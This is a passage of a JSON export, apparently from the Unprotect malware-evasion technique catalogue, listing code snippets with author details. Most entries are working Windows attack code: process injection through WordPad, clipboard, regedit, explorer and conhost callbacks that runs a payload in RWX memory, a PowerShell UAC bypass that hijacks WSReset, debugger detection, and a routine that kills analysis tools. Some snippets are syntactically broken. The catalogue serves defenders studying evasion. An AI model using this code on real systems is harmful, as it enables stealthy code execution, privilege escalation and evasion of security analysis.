VirtualFreeEx(hp, ptr,0, MEM_DECOMMIT | MEM_RELEASE);\r\n    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    \r\n    CloseHandle(hp);   \r\n}"
        },
        {
            "id": 49,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/157/?format=api",
            "description": "",
            "plain_code": "typedef struct _editstream {\r\n  DWORD_PTR          dwCookie;\r\n  DWORD              dwError;\r\n  EDITSTREAMCALLBACK pfnCallback;\r\n} EDITSTREAM;\r\n\r\nVOID streamception(LPVOID payload, DWORD payloadSize) {\r\n    HANDLE        hp;\r\n    DWORD         id;\r\n    HWND          wpw, rew;\r\n    LPVOID        cs, ds;\r\n    SIZE_T        rd, wr;\r\n    EDITSTREAM    es;\r\n    \r\n    // 1. Get window handles\r\n    wpw = FindWindow(L\"WordPadClass\", NULL);\r\n    rew = FindWindowEx(wpw, NULL, L\"RICHEDIT50W\", NULL);\r\n    \r\n    // 2. Obtain the process id and try to open process\r\n    GetWindowThreadProcessId(rew, &id);\r\n    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);\r\n\r\n    // 3. Allocate RWX memory and copy the payload there.\r\n    cs = VirtualAllocEx(hp, NULL, payloadSize,\r\n        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n\r\n    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);\r\n\r\n    // 4. Allocate RW memory and copy the EDITSTREAM structure there.\r\n    ds = VirtualAllocEx(hp, NULL, sizeof(EDITSTREAM),\r\n        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n        \r\n    es.dwCookie    = 0;\r\n    es.dwError     = 0;\r\n    es.pfnCallback = cs;\r\n    \r\n    WriteProcessMemory(hp, ds, &es, sizeof(EDITSTREAM), &wr);\r\n    \r\n    // 5. Trigger payload with EM_STREAMIN\r\n    SendMessage(rew, EM_STREAMIN, SF_TEXT, (LPARAM)ds);\r\n\r\n    // 6. Free memory and close process handle\r\n    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    CloseHandle(hp);\r\n}"
        },
        {
            "id": 50,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 9,
                "username": "Glacius",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/Glacius___",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/158/?format=api",
            "description": "",
            "plain_code": "VOID wordwarping(LPVOID payload, DWORD payloadSize) {\r\n    HANDLE        hp;\r\n    DWORD         id;\r\n    HWND          wpw, rew;\r\n    LPVOID        cs, wwf;\r\n    SIZE_T        rd, wr;\r\n    INPUT         ip;\r\n    \r\n    // 1. Get main window for wordpad.\r\n    //    This will accept simulated keyboard input.\r\n    wpw = FindWindow(L\"WordPadClass\", NULL);\r\n    \r\n    // 2. Find the rich edit control for wordpad.\r\n    rew = FindWindowEx(wpw, NULL, L\"RICHEDIT50W\", NULL);\r\n\r\n    // 3. Try get current address of Wordwrap function\r\n    wwf = (LPVOID)SendMessage(rew, EM_GETWORDBREAKPROC, 0, 0);\r\n\r\n    // 4. Obtain the process id for wordpad.\r\n    GetWindowThreadProcessId(rew, &id);\r\n\r\n    // 5. Try open the process.\r\n    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);\r\n\r\n    // 6. Allocate RWX memory for the payload.\r\n    cs = VirtualAllocEx(hp, NULL, payloadSize,\r\n        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n\r\n    // 7. Write the payload to memory\r\n    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);\r\n\r\n    // 8. Update the callback procedure\r\n    SendMessage(rew, EM_SETWORDBREAKPROC, 0, (LPARAM)cs);\r\n\r\n    // 9. Simulate keyboard input to trigger payload\r\n    ip.type           = INPUT_KEYBOARD;\r\n    ip.ki.wVk         = 'A';\r\n    ip.ki.wScan       = 0;\r\n    ip.ki.dwFlags     = 0;\r\n    ip.ki.time        = 0;\r\n    ip.ki.dwExtraInfo = 0;\r\n    \r\n    SetForegroundWindow(rew);\r\n    SendInput(1, &ip, sizeof(ip));\r\n\r\n    // 10. Restore original Wordwrap function (if any)\r\n    SendMessage(rew, EM_SETWORDBREAKPROC, 0, (LPARAM)wwf);\r\n    \r\n    // 11. Free memory and close process handle\r\n    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    CloseHandle(hp);\r\n}"
        },
        {
            "id": 51,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/160/?format=api",
            "description": "",
            "plain_code": "typedef struct _IUnknown_t {\r\n    // a pointer to virtual function table\r\n    ULONG_PTR lpVtbl;\r\n    // the virtual function table\r\n    ULONG_PTR QueryInterface;\r\n    ULONG_PTR AddRef;\r\n    ULONG_PTR Release;       // executed for WM_DESTROYCLIPBOARD\r\n} IUnknown_t;\r\n\r\n// The following code assumes a valid clipboard window already exists. There is no error checking.\r\nVOID clipboard(LPVOID payload, DWORD payloadSize) {\r\n    HANDLE     hp;\r\n    HWND       hw;\r\n    DWORD      id;\r\n    IUnknown_t iu;\r\n    LPVOID     cs, ds;\r\n    SIZE_T     wr;\r\n    \r\n    // 1. Find a private clipboard.\r\n    //    Obtain the process id and open it\r\n    hw = FindWindowEx(HWND_MESSAGE, NULL, L\"CLIPBRDWNDCLASS\", NULL);\r\n    GetWindowThreadProcessId(hw, &id);\r\n    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);\r\n\r\n    // 2. Allocate RWX memory in process and write payload\r\n    cs = VirtualAllocEx(hp, NULL, payloadSize,\r\n        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);\r\n    \r\n    // 3. Allocate RW memory in process.\r\n    //    Initialize and write IUnknown interface\r\n    ds = VirtualAllocEx(hp, NULL, sizeof(IUnknown_t),\r\n        MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);\r\n    iu.lpVtbl  = (ULONG_PTR)ds + sizeof(ULONG_PTR);\r\n    iu.Release = (ULONG_PTR)cs;\r\n    WriteProcessMemory(hp, ds, &iu, sizeof(IUnknown_t), &wr);\r\n    \r\n    // 4. Set the interface property and trigger execution\r\n    SetProp(hw, L\"ClipboardDataObjectInterface\", ds);\r\n    PostMessage(hw, WM_DESTROYCLIPBOARD, 0, 0);\r\n    \r\n    // 5. Release memory for code and data\r\n    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    CloseHandle(hp);\r\n}"
        },
        {
            "id": 45,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 9,
                "username": "Glacius",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/Glacius___",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/154/?format=api",
            "description": "",
            "plain_code": "VOID treepoline(LPVOID payload, DWORD payloadSize) {\r\n    HANDLE        hp;\r\n    DWORD         id;\r\n    HWND          wpw, tlv;\r\n    LPVOID        cs, ds, item;\r\n    SIZE_T        rd, wr;\r\n    TVSORTCB      tvs;\r\n    \r\n    // 1. get the treeview handle\r\n    wpw = FindWindow(L\"RegEdit_RegEdit\", NULL);\r\n    tlv = FindWindowEx(wpw, 0, L\"SysTreeView32\", 0);\r\n    \r\n    // 2. Obtain the process id and try to open process\r\n    GetWindowThreadProcessId(tlv, &id);\r\n    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);\r\n\r\n    // 3. Allocate RWX memory and copy the payload there.\r\n    cs = VirtualAllocEx(hp, NULL, payloadSize,\r\n        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n        \r\n    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);\r\n    \r\n    // 4. Obtain the root item in tree list\r\n    item = (LPVOID)SendMessage(tlv, TVM_GETNEXTITEM, TVGN_ROOT, 0);\r\n\r\n    tvs.hParent     = item;\r\n    tvs.lpfnCompare = cs;\r\n    tvs.lParam      = 0;\r\n    \r\n    // 5. Allocate RW memory and copy the TVSORTCB structure\r\n    ds = VirtualAllocEx(hp, NULL, sizeof(TVSORTCB),\r\n        MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);\r\n        \r\n    WriteProcessMemory(hp, ds, &tvs, sizeof(TVSORTCB), &wr);\r\n    \r\n    // 6. Trigger payload\r\n    SendMessage(tlv, TVM_SORTCHILDRENCB, 0, (LPARAM)ds);\r\n\r\n    // 7. Free memory and close process handle\r\n    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    \r\n    CloseHandle(hp);\r\n}"
        },
        {
            "id": 46,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/155/?format=api",
            "description": "The following code uses the registry editor and LVM_SORTITEMS to trigger the payload. The problem is that the callback function will be invoked for every item in the list. If no items are in the list, the function isn’t invoked at all.",
            "plain_code": "VOID listplanting(LPVOID payload, DWORD payloadSize) {\r\n    HANDLE        hp;\r\n    DWORD         id;\r\n    HWND          lvm;\r\n    LPVOID        cs;\r\n    SIZE_T        wr;\r\n    \r\n    // 1. get the window handle\r\n    lvm = FindWindow(L\"RegEdit_RegEdit\", NULL);\r\n    lvm = FindWindowEx(lvm, 0, L\"SysListView32\", 0);\r\n   \r\n    // 2. Obtain the process id and try to open process\r\n    GetWindowThreadProcessId(lvm, &id);\r\n    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);\r\n\r\n    // 3. Allocate RWX memory and copy the payload there.\r\n    cs = VirtualAllocEx(hp, NULL, payloadSize,\r\n        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n\r\n    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);\r\n    \r\n    // 4. Trigger payload\r\n    PostMessage(lvm, LVM_SORTITEMS, 0, (LPARAM)cs);\r\n    \r\n    // 5. Free memory and close process handle\r\n    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    CloseHandle(hp);\r\n}"
        },
        {
            "id": 47,
            "language": {
                "id": 1,
                "label": "Delphi",
                "code_class": "Delphi"
            },
            "user": {
                "id": 4,
                "username": "DarkCoderSc",
                "email": "jplesueur@proton.me",
                "linkedin": "https://www.linkedin.com/in/jlesueur/",
                "twitter": "https://www.twitter.com/darkcodersc",
                "website": "https://www.phrozen.io/",
                "github": "https://github.com/DarkCoderSc"
            },
            "technique": "https://unprotect.it/api/techniques/56/?format=api",
            "description": "Support both 32/64 bit.",
            "plain_code": "program NtQueryObject;\r\n\r\n{$APPTYPE CONSOLE}\r\n\r\n{$ALIGN ON}\r\n{$MINENUMSIZE 4}\r\n\r\nuses\r\n  WinAPI.Windows, System.SysUtils;\r\n\r\ntype\r\n  TUnicodeString = record\r\n    Length: USHORT;\r\n    MaximumLength: USHORT;\r\n    Buffer: PWideChar;\r\n  end;\r\n\r\n  TObjectInformationClass = (\r\n                                    ObjectBasicInformation    = 0,\r\n                                    ObjectNameInformation     = 1,\r\n                                    ObjectTypeInformation     = 2,\r\n                                    ObjectAllTypesInformation = 3,\r\n                                    ObjectHandleInformation   = 4\r\n  );\r\n\r\n  OBJECT_TYPE_INFORMATION = record\r\n    Name: TUnicodeString;\r\n    ObjectCount: ULONG;\r\n    HandleCount: ULONG;\r\n    Reserved1: array[0..3] of ULONG;\r\n    PeakObjectCount: ULONG;\r\n    PeakHandleCount: ULONG;\r\n    Reserved2: array[0..3] of ULONG;\r\n    InvalidAttributes: ULONG;\r\n    GenericMapping: GENERIC_MAPPING;\r\n    ValidAccess: ULONG;\r\n    Unknown: UCHAR;\r\n    MaintainHandleDatabase: ByteBool;\r\n    Reserved3: array[0..1] of UCHAR;\r\n    PoolType: Byte;\r\n    PagedPoolUsage: ULONG;\r\n    NonPagedPoolUsage: ULONG;\r\n  end;\r\n  POBJECT_TYPE_INFORMATION = ^OBJECT_TYPE_INFORMATION;\r\n  TObjectTypeInformation = OBJECT_TYPE_INFORMATION;\r\n  PObjectTypeInformation = ^TObjectTypeInformation;\r\n\r\n  OBJECT_ALL_TYPE_INFORMATION = record\r\n    NumberOfObjectTypes : ULONG;\r\n    ObjectTypeInformation : array[0..0] of TObjectTypeInformation;\r\n  end;\r\n  POBJECT_ALL_TYPE_INFORMATION = ^OBJECT_ALL_TYPE_INFORMATION;\r\n  TObjectAllTypeInformation = OBJECT_ALL_TYPE_INFORMATION;\r\n  PObjectAllTypeInformation = ^TObjectAllTypeInformation;\r\n\r\n// https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryobject\r\nvar\r\n  _NtQueryObject : function (\r\n                                ObjectHandle : THandle;\r\n                                ObjectInformationClass : TObjectInformationClass;\r\n                                ObjectInformation : PVOID;\r\n                                ObjectInformationLength : ULONG;\r\n                                ReturnLength : PULONG\r\n                              ): ULONG; stdcall;\r\nvar hNTDLL              : THandle;\r\n    ARet                : ULONG;\r\n    ARequiredSize       : ULONG;\r\n    pAllTypeInformation : PObjectAllTypeInformation;\r\n    pTypeInformation    : PObjectTypeInformation;\r\n    i                   : Integer;\r\n    pRow                : PObjectTypeInformation;\r\n    pDummy              : Pointer;\r\n    ADebuggerFound      : Boolean;\r\n\r\nbegin\r\n  try\r\n    ADebuggerFound := False;\r\n\r\n    @_NtQueryObject := nil;\r\n    ///\r\n\r\n    hNTDLL := LoadLibrary('NTDLL.DLL');\r\n    if (hNTDLL = 0) then\r\n      Exit();\r\n    try\r\n      @_NtQueryObject := GetProcAddress(hNTDLL, 'NtQueryObject');\r\n      if NOT Assigned(_NtQueryObject) then\r\n        Exit();\r\n      ///\r\n\r\n      ARet := _NtQueryObject(0, ObjectAllTypesInformation, @ARequiredSize, SizeOf(ULONG), @ARequiredSize);\r\n      if (ARequiredSize <= 0) then\r\n        Exit();\r\n      ///\r\n\r\n      GetMem(pAllTypeInformation, ARequiredSize);\r\n      try\r\n        ARet := _NtQueryObject(0, ObjectAllTypesInformation, pAllTypeInformation, ARequiredSize, nil);\r\n        if (ARet <> 0) then\r\n          Exit();\r\n        ///\r\n\r\n        pRow := @pAllTypeInformation^.ObjectTypeInformation;\r\n\r\n        for I := 0 to pAllTypeInformation^.NumberOfObjectTypes -1 do begin\r\n            if String.Compare(String(pRow^.Name.Buffer), 'DebugObject', True) = 0 then\r\n              ADebuggerFound := (pRow^.ObjectCount > 0);\r\n            ///\r\n\r\n            if ADebuggerFound then\r\n              break;\r\n\r\n            pRow := Pointer (\r\n              (NativeUInt(pRow^.Name.Buffer) + pRow^.Name.Length) and (NOT (SizeOf(Pointer)-1)) + SizeOf(Pointer)\r\n            );\r\n        end;\r\n      finally\r\n        FreeMem(pAllTypeInformation, ARequiredSize);\r\n      end;\r\n    finally\r\n      FreeLibrary(hNTDLL);\r\n    end;\r\n\r\n    if ADebuggerFound then\r\n      WriteLn('A Debugger Was Found!')\r\n    else\r\n      WriteLn('No Debugger Found!');\r\n  except\r\n    on E: Exception do\r\n      Writeln(E.ClassName, ': ', E.Message);\r\n  end;\r\nend."
        },
        {
            "id": 42,
            "language": {
                "id": 8,
                "label": "PowerShell",
                "code_class": "PowerShell"
            },
            "user": {
                "id": 9,
                "username": "Glacius",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/Glacius___",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/152/?format=api",
            "description": "",
            "plain_code": "<#\r\n.SYNOPSIS\r\nFileless UAC Bypass by Abusing Shell API\r\n.PARAMETER Command\r\nSpecifies the command you would like to run in high integrity context.\r\n \r\n.EXAMPLE\r\nInvoke-WSResetBypass -Command \"C:\\Windows\\System32\\cmd.exe /c start cmd.exe\"\r\nThis will effectivly start cmd.exe in high integrity context.\r\n.NOTES\r\nThis UAC bypass has been tested on the following:\r\n - Windows 10 Version 1803 OS Build 17134.590\r\n - Windows 10 Version 1809 OS Build 17763.316\r\n#>\r\nfunction Invoke-WSResetBypass {\r\n      Param (\r\n      [String]$Command = \"C:\\Windows\\System32\\cmd.exe /c start cmd.exe\"\r\n      )\r\n      $CommandPath = \"HKCU:\\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command\"\r\n      $filePath = \"HKCU:\\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command\"\r\n      New-Item $CommandPath -Force | Out-Null\r\n      New-ItemProperty -Path $CommandPath -Name \"DelegateExecute\" -Value \"\" -Force | Out-Null\r\n      Set-ItemProperty -Path $CommandPath -Name \"(default)\" -Value $Command -Force -ErrorAction SilentlyContinue | Out-Null\r\n      Write-Host \"[+] Registry entry has been created successfully!\"\r\n      $Process = Start-Process -FilePath \"C:\\Windows\\System32\\WSReset.exe\" -WindowStyle Hidden\r\n      Write-Host \"[+] Starting WSReset.exe\"\r\n      Write-Host \"[+] Triggering payload..\"\r\n      Start-Sleep -Seconds 5\r\n      if (Test-Path $filePath) {\r\n      Remove-Item $filePath -Recurse -Force\r\n      Write-Host \"[+] Cleaning up registry entry\"\r\n      }\r\n}"
        },
        {
            "id": 43,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 9,
                "username": "Glacius",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/Glacius___",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/115/?format=api",
            "description": "",
            "plain_code": "LRESULT CALLBACK WndProc(HWND hWnd, UINT uMsg,\r\n    WPARAM wParam, LPARAM lParam)\r\n{\r\n    // igone messages other than WM_CLOSE\r\n    if (uMsg != VM_CLOSE) return 0;\r\n    WinExec_t pWinExec;\r\n    DWORD   szWinExec[2];\r\n            szCalc[2];\r\n    \r\n    // WinExec \r\n    szWinExec[0]=0x456E6957\r\n    szWinExec[1]=0x00636578\r\n    // calc \r\n    szCalc[0]=0x636X6163\r\n    szCalc[1]=0;\r\n    pWinExec = (WinExec_t)xGetProcAddress(szWinExec);\r\n    if(pWinExec != NULL) {\r\n        pWinExec((LPSTR)szCalc, SH_SHOW);\r\n    }\r\n    return 0;\r\n} \r\nFull Function :\r\nLPVOID ewm(LPVOID payload, DWORD payloadSize){\r\n    LPVOID    cs, ds;\r\n    CTray     ct;\r\n    ULONG_PTR ctp;\r\n    HWND      hw;\r\n    HANDLE    hp;\r\n    DWORD     pid;\r\n    SIZE_T    wr;\r\n    \r\n    // 1. Obtain a handle for the shell tray window\r\n    hw = FindWindow(\"Shell_TrayWnd\", NULL);\r\n    // 2. Obtain a process id for explorer.exe\r\n    GetWindowThreadProcessId(hw, &pid);\r\n    \r\n    // 3. Open explorer.exe\r\n    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);\r\n    \r\n    // 4. Obtain pointer to the current CTray object\r\n    ctp = GetWindowLongPtr(hw, 0);\r\n    \r\n    // 5. Read address of the current CTray object\r\n    ReadProcessMemory(hp, (LPVOID)ctp, \r\n        (LPVOID)&ct.vTable, sizeof(ULONG_PTR), &wr);\r\n    \r\n    // 6. Read three addresses from the virtual table\r\n    ReadProcessMemory(hp, (LPVOID)ct.vTable, \r\n      (LPVOID)&ct.AddRef, sizeof(ULONG_PTR) * 3, &wr);\r\n    \r\n    // 7. Allocate RWX memory for code\r\n    cs = VirtualAllocEx(hp, NULL, payloadSize, \r\n      MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);\r\n    \r\n    // 8. Copy the code to target process\r\n    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);\r\n    \r\n    // 9. Allocate RW memory for the new CTray object\r\n    ds = VirtualAllocEx(hp, NULL, sizeof(ct), \r\n      MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\r\n    \r\n    // 10. Write the new CTray object to remote memory\r\n    ct.vTable  = (ULONG_PTR)ds + sizeof(ULONG_PTR);\r\n    ct.WndProc = (ULONG_PTR)cs;\r\n    \r\n    WriteProcessMemory(hp, ds, &ct, sizeof(ct), &wr); \r\n    // 11. Set the new pointer to CTray object\r\n    SetWindowLongPtr(hw, 0, (ULONG_PTR)ds);\r\n    \r\n    // 12. Trigger the payload via a windows message\r\n    PostMessage(hw, WM_CLOSE, 0, 0);\r\n    \r\n    // 13. Restore the original CTray object\r\n    SetWindowLongPtr(hw, 0, ctp);\r\n    // 14. Release memory and close handles\r\n    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    CloseHandle(hp);\r\n}"
        },
        {
            "id": 44,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 9,
                "username": "Glacius",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/Glacius___",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/153/?format=api",
            "description": "",
            "plain_code": "VOID conhostInject(LPVOID payload, DWORD payloadSize) {\r\n    HWND          hwnd;\r\n    LONG_PTR      udptr;\r\n    DWORD         pid, ppid;\r\n    SIZE_T        wr;\r\n    HANDLE        hp;\r\n    ConsoleWindow cw;\r\n    LPVOID        cs, ds;\r\n    ULONG_PTR     vTable;\r\n    \r\n    // 1. Obtain handle and process id for a console window \r\n    //   (this assumes one already running)\r\n    hwnd = FindWindow(L\"ConsoleWindowClass\", NULL);\r\n    \r\n    GetWindowThreadProcessId(hwnd, &ppid);\r\n    // 2. Obtain the process id for the host process \r\n    pid = conhostId(ppid);\r\n    \r\n    // 3. Open the conhost.exe process\r\n    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);\r\n    // 4. Allocate RWX memory and copy the payload there\r\n    cs = VirtualAllocEx(hp, NULL, payloadSize, \r\n      MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);\r\n    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);\r\n    \r\n    // 5. Read the address of current virtual table\r\n    udptr = GetWindowLongPtr(hwnd, GWLP_USERDATA);\r\n    ReadProcessMemory(hp, (LPVOID)udptr, \r\n        (LPVOID)&vTable, sizeof(ULONG_PTR), &wr);\r\n    \r\n    // 6. Read the current virtual table into local memory\r\n    ReadProcessMemory(hp, (LPVOID)vTable, \r\n      (LPVOID)&cw, sizeof(ConsoleWindow), &wr);\r\n      \r\n    // 7. Allocate RW memory for the new virtual table\r\n    ds = VirtualAllocEx(hp, NULL, sizeof(ConsoleWindow), \r\n      MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\r\n    // 8. update the local copy of virtual table with \r\n    //    address of payload and write to remote process\r\n    cw.GetWindowHandle = (ULONG_PTR)cs;\r\n    WriteProcessMemory(hp, ds, &cw, sizeof(ConsoleWindow), &wr); \r\n    // 9. Update pointer to virtual table in remote process\r\n    WriteProcessMemory(hp, (LPVOID)udptr, &ds, \r\n      sizeof(ULONG_PTR), &wr); \r\n    // 10. Trigger execution of the payload\r\n    SendMessage(hwnd, WM_SETFOCUS, 0, 0);\r\n    // 11. Restore pointer to original virtual table\r\n    WriteProcessMemory(hp, (LPVOID)udptr, &vTable, \r\n      sizeof(ULONG_PTR), &wr);\r\n    \r\n    // 12. Release memory and close handles\r\n    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);\r\n    \r\n    CloseHandle(hp);"
        },
        {
            "id": 41,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 6,
                "username": "Unprotect",
                "email": "null@localhost",
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/32/?format=api",
            "description": "This code snippet will browse the registry to check installed software.",
            "plain_code": "#include <iostream>\r\n#include <windows.h>\r\n\r\nbool EnumInstalledSoftware(void)\r\n{\r\n    HKEY hUninstKey = NULL;\r\n    HKEY hAppKey = NULL;\r\n    WCHAR sAppKeyName[1024];\r\n    WCHAR sSubKey[1024];\r\n    WCHAR sDisplayName[1024];\r\n    WCHAR *sRoot = L\"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\";\r\n    long lResult = ERROR_SUCCESS;\r\n    DWORD dwType = KEY_ALL_ACCESS;\r\n    DWORD dwBufferSize = 0;\r\n\r\n    if(RegOpenKeyExW(HKEY_LOCAL_MACHINE, sRoot, 0, KEY_READ, &hUninstKey) != ERROR_SUCCESS)\r\n    {\r\n        return false;\r\n    }\r\n\r\n    for(DWORD dwIndex = 0; lResult == ERROR_SUCCESS; dwIndex++)\r\n    {\r\n        dwBufferSize = sizeof(sAppKeyName);\r\n        if((lResult = RegEnumKeyExW(hUninstKey, dwIndex, sAppKeyName,\r\n            &dwBufferSize, NULL, NULL, NULL, NULL)) == ERROR_SUCCESS)\r\n        {\r\n            //printf(sSubKey, L\"%s\\\\%s\", sRoot, sAppKeyName);\r\n            if(RegOpenKeyExW(HKEY_LOCAL_MACHINE, sSubKey, 0, KEY_READ, &hAppKey) != ERROR_SUCCESS)\r\n            {\r\n                RegCloseKey(hAppKey);\r\n                RegCloseKey(hUninstKey);\r\n                return false;\r\n            }\r\n\r\n            dwBufferSize = sizeof(sDisplayName);\r\n            if(RegQueryValueExW(hAppKey, L\"DisplayName\", NULL,\r\n                &dwType, (unsigned char*)sDisplayName, &dwBufferSize) == ERROR_SUCCESS)\r\n            {\r\n                wprintf(L\"%s\\n\", sDisplayName);\r\n            }\r\n\r\n            RegCloseKey(hAppKey);\r\n        }\r\n    }\r\n\r\n    RegCloseKey(hUninstKey);\r\n\r\n    return true;\r\n}"
        },
        {
            "id": 39,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "user": {
                "id": 5,
                "username": "fr0gger",
                "email": "thomas.roccia@microsoft.com\n\n",
                "linkedin": "https://www.linkedin.com/in/thomas-roccia",
                "twitter": "https://twitter.com/fr0gger_",
                "website": "https://securitybreak.io",
                "github": "https://github.com/fr0gger"
            },
            "technique": "https://unprotect.it/api/techniques/131/?format=api",
            "description": "Using the `CreateToolhelp32Snapshot` API, it is possible to list the running process and compare it with a blacklist to kill them.",
            "plain_code": "#include <iostream>\r\n#include <string>\r\n#include <tchar.h>\r\n#include <process.h>\r\n#include <windows.h>\r\n#include <tlhelp32.h>\r\n\r\nusing namespace std;\r\n\r\nBOOL GetProcessList();\r\nBOOL TerminateMyProcess(DWORD dwProcessId, UINT uExitCode);\r\n\r\nint main( void )\r\n{\r\n  GetProcessList( );\r\n  return 0;\r\n}\r\n\r\nBOOL GetProcessList( )\r\n{\r\n  HANDLE hProcessSnap;\r\n  HANDLE hProcess;\r\n  PROCESSENTRY32 pe32;\r\n  DWORD dwPriorityClass;\r\n\r\n  //Blacklisted processes\r\n  LPSTR ProcessName[] = { \"ida.Exe\",\r\n                          \"ProcMon.exe\",\r\n                          \"Olldbg.exe\",\r\n                          \"Wireshark.exe\",\r\n                          \"iexplore.exe\"\r\n                            };\r\n\r\n  // Take a snapshot of processes\r\n  hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );\r\n  if( hProcessSnap == INVALID_HANDLE_VALUE )\r\n  {\r\n    return( FALSE );\r\n  }\r\n\r\n  pe32.dwSize = sizeof( PROCESSENTRY32 );\r\n\r\n  if( !Process32First( hProcessSnap, &pe32 ) )\r\n  {\r\n    CloseHandle( hProcessSnap );\r\n    return( FALSE );\r\n  }\r\n\r\n  do\r\n  {\r\n    string str(pe32.szExeFile);\r\n\r\n    for (int i = 0; i < (sizeof(ProcessName) / sizeof(LPSTR)); i++)\r\n    {\r\n         if(str == ProcessName[i])\r\n         {\r\n             cout << \"[*] processus exists: \" << (ProcessName[i]) << endl;\r\n             TerminateBlacklistedProcess(pe32.th32ProcessID, 1);\r\n         }\r\n    }\r\n  } while( Process32Next( hProcessSnap, &pe32 ) );\r\n\r\n  CloseHandle( hProcessSnap );\r\n  return( TRUE );\r\n}\r\n\r\n// Terminate the blacklisted processes\r\nBOOL TerminateBlacklistedProcess(DWORD dwProcessId, UINT uExitCode)\r\n{\r\n    DWORD dwDesiredAccess = PROCESS_TERMINATE;\r\n    BOOL  bInheritHandle  = FALSE;\r\n    HANDLE hProcess = OpenProcess(dwDesiredAccess, bInheritHandle, 